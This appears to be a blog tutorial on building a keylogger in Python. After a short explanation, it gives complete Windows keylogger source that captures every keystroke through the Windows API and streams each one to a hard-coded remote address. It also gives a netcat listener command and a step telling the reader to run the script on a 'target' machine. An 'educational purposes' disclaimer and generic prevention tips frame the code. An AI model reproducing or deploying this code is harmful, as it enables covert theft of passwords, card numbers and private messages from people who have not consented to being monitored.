Python Keylogger 101: How to Build a Keylogger
What is a Keylogger?
A keylogger is a type of software or hardware designed to record every keystroke made on a computer or mobile device. These recordings can capture sensitive information such as passwords, credit card numbers, and personal messages. Keyloggers can be used for legitimate purposes, such as monitoring employee activity or recovering lost data, but they are often used maliciously to steal personal information and commit fraud.
How Does a Keylogger Work?
Keyloggers operate by monitoring and recording keystrokes made on a keyboard. Here’s a simplified overview of how they work:
- Installation: A keylogger is installed on the target device, either through malicious software downloads, phishing attacks, or exploiting system vulnerabilities.
- Monitoring: Once installed, the keylogger runs in the background, continuously capturing every keystroke entered by the user.
- Data Transmission: The recorded keystrokes are then sent to a remote server controlled by the attacker or saved locally for later retrieval.
- Extraction: The attacker can then access this data to extract sensitive information, which can be used for various malicious purposes, such as identity theft or financial fraud.
How to Create a Keylogger
Note: Creating and deploying keyloggers for unauthorized access is illegal and unethical. The following information is provided strictly for educational purposes to understand how these tools work and to better defend against them.
Here’s a simple guide to creating a basic keylogger in Python without external libraries:
- Set Up the Keylogger Script:
import socket # Import the socket module for networking
import ctypes # Import ctypes to access Windows API for keyboard state
import time # Import time for sleep functionality
# Set the server address and port
serverAddress = ('192.168.39.72', 9000)
# Create a TCP/IP socket
clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect the socket to the server
clientSocket.connect(serverAddress)
# Load user32.dll for Windows API calls
user32 = ctypes.windll.user32
# Function to get the readable key name from the key code
def getKey(code):
# ASCII table for special and regular keys
asciiTable = {
"0": "[NUL]", "1": "[LCLICK]", "2": "[RCLICK]", "3": "[ETX]", "4": "[SCROLLCLICK]",
"5": "[ENQ]", "6": "[ACK]", "7": "[BEL]", "8": "[BACKSPACE]", "9": "[TAB]",
"10": "[LF]", "11": "[VT]", "12": "[CLEAR]", "13": "[ENTER]", "14": "[SO]", "15": "[SI]",
"16": "", "17": "[RALT]", "18": "[LALT]", "19": "[PAUSEBREAK]", "20": "[CAPSLOCK]",
"21": "[NAK]", "22": "[SYN]", "23": "[ETB]", "24": "[CAN]", "25": "[EM]",
"26": "[SUB]", "27": "[ESC]", "28": "[FS]", "29": "[GS]", "30": "[RS]",
"31": "[US]", "32": "[SPACE]", "33": "[PAGEUP]", "34": "[PAGEDOWN]", "35": "[END]",
"36": "[HOME]", "37": "[LEFT]", "38": "[UP]", "39": "[RIGHT]", "40": "[DOWN]",
"41": ")", "42": "*", "43": "+", "44": "[PRTSC]", "45": "[INSERT]",
"46": "[DELETE]", "47": "/", "48": "0", "49": "1", "50": "2",
"51": "3", "52": "4", "53": "5", "54": "6", "55": "7",
"56": "8", "57": "9", "58": ":", "59": ";", "60": "<",
"61": "=", "62": ">", "63": "?", "64": "@", "65": "A",
"66": "B", "67": "C", "68": "D", "69": "E", "70": "F",
"71": "G", "72": "H", "73": "I", "74": "J", "75": "K",
"76": "L", "77": "M", "78": "N", "79": "O", "80": "P",
"81": "Q", "82": "R", "83": "S", "84": "T", "85": "U",
"86": "V", "87": "W", "88": "X", "89": "Y", "90": "Z",
"91": "[WIN]", "92": "\\", "93": "]", "94": "^", "95": "_",
"96": "0", "97": "1", "98": "2", "99": "3", "100": "4",
"101": "5", "102": "6", "103": "7", "104": "8", "105": "9",
"106": "*", "107": "+", "108": "l", "109": "-", "110": ".",
"111": "/", "112": "[F1]", "113": "[F2]", "114": "[F3]", "115": "[F4]",
"116": "[F5]", "117": "[F6]", "118": "[F7]", "119": "[F8]", "120": "[F9]",
"121": "[F10]", "122": "[F11]", "123": "[F12]", "124": "|", "125": "}",
"126": "~", "145": "[SCROOLLOCK]", "144": "[NUMLOCK]", "160": "[LSHIFT]", "161": "[RSHIFT]",
"162": "[LCTRL]", "163": "[RCTRL]", "190": ".", "191": "/", "188": ",",
"186": ";", "189": "-", "187": "=", "165": "", "164": "",
"192": "`", "222": "'", "220": "\\", "219": "[", "221": "]"
}
try:
# Return the key name from the ASCII table
return asciiTable[code]
except KeyError:
# Return an empty string if the key is not in the table
return ""
# Main function to capture and send keystrokes
def main():
# Dictionary to store the state of each key
keyStates = {}
while True:
# Iterate through all possible key codes (0-255)
for i in range(256):
# Check if the key is pressed
if user32.GetAsyncKeyState(i) & 0x8000 != 0:
# If the key was not previously pressed
if keyStates.get(i, False) == False:
keyStates[i] = True # Update the state to pressed
key = getKey(str(i)) # Get the readable key name
# Check if Caps Lock is off and convert to lowercase if needed
if user32.GetKeyState(0x14) & 0x0001 == 0:
key = key.lower()
# Send the key code to the server
clientSocket.sendall(key.encode())
else:
# Update the state to not pressed
keyStates[i] = False
# Sleep for 10 milliseconds to reduce CPU usage
time.sleep(0.10)
# Run the main function if the script is executed directly
if __name__ == "__main__":
main()
Github: keylogger
2. Set Up a Netcat Listener:
On your Kali Linux machine, start a Netcat listener to receive the data:
nc -l -p 9000
3. Run the Keylogger:
Execute the keylogger script on the target Windows machine. As users type, their keystrokes will be sent to the Netcat listener running on your Kali Linux machine.
How to Prevent Keylogger Attacks
To protect yourself from keyloggers and other cybersecurity threats, follow these essential precautions:
- Use Reliable Antivirus Software: Ensure you have up-to-date antivirus software to detect and block keyloggers.
- Enable Firewall Protection: Use a firewall to block unauthorized connections and prevent keyloggers from communicating with remote servers.
- Keep Software Updated: Regularly update your operating system and applications to patch vulnerabilities.
- Download from Trusted Sources: Only download software from reputable sources to avoid malicious keyloggers.
- Enable Two-Factor Authentication (2FA): Add an extra layer of security to your online accounts with 2FA.
- Monitor System Activity: Regularly check for unusual processes or applications on your system.
- Practice Safe Browsing: Be cautious with links and attachments from unknown sources.
- Educate Yourself and Others: Stay informed about cybersecurity threats and best practices.
- Use Virtual Keyboards for Sensitive Info: Consider using virtual keyboards or password managers to reduce the risk of keylogging.
- Change Passwords Regularly: Update your passwords frequently and use different ones for various accounts.
Conclusion
Understanding keyloggers and how they work is essential for both learning and protecting your digital security. By following the precautions outlined above, you can safeguard yourself from these threats and ensure your personal information remains secure. Always use your knowledge responsibly and stay vigilant.